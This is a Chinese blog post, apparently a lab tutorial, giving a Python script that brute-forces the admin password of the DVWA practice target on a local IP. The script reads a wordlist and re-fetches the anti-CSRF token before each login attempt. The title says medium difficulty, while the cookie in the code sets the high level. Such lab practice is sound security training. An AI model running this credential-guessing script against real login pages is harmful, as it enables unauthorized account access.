dvwa - brute force - middle -python-python3模拟使用本地密码库进行暴力破解dvwa中级难度的密码

最新推荐文章于 2024-09-13 00:14:13 发布

生命的脚步从不停歇

最新推荐文章于 2024-09-13 00:14:13 发布

阅读量315

点赞数

分类专栏： dvwa 安全渗透文章标签： dvwa brute force

本文链接：https://blog.csdn.net/qq284489030/article/details/84981373

版权

安全渗透同时被 2 个专栏收录

9 篇文章 0 订阅

订阅专栏

dvwa

3 篇文章 0 订阅

订阅专栏

时隔一年后看这个标题，自己也有点懵逼。

加点说明吧。

dvwa是渗透测试靶机系统，好像有10钟类型漏洞；

现在用python模拟使用本地密码库进行暴力破解中级难度的密码：

密码文件psw.txt跟python文件同级目录下，内容：

111
222
password
444
5555555555555555

test.py内容如下：

import requests
import re,time

head = {
            'Host': '192.168.1.70',
            'Upgrade-Insecure-Requests': '1',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36',
            'Accept': r'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
            'Referer': r'http://192.168.1.70/dvwa/vulnerabilities/brute/index.php?username=admin&password=111&Login=Login&user_token=bbf84925fed8ba075c4e8b39f370e9bc',
            'Accept-Language': r'zh-CN,zh;q=0.9',
            'Cookie': 'security=high; PHPSESSID=61b69n6238mpdhu05puisaok00', #登录后复制PHPSESSID
            'Connection': 'close'
        }

file = open('psw.txt','r')
url = r'http://192.168.1.70/dvwa/vulnerabilities/brute/'
dvwa_session = requests.Session()
print(time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))
for line in file:
    resp = dvwa_session.get(url=url, headers=head)
    token = re.search(r'[a-z0-9]{32}',resp.text).group()
    password = line.rstrip()

    url2 = r'http://192.168.1.70/dvwa/vulnerabilities/brute/index.php?username=admin&password=' + password + '&Login=Login&user_token=' +str(token)
    res = dvwa_session.get(url=url2,headers=head)

    print(password.strip(),len(res.text))
file.close()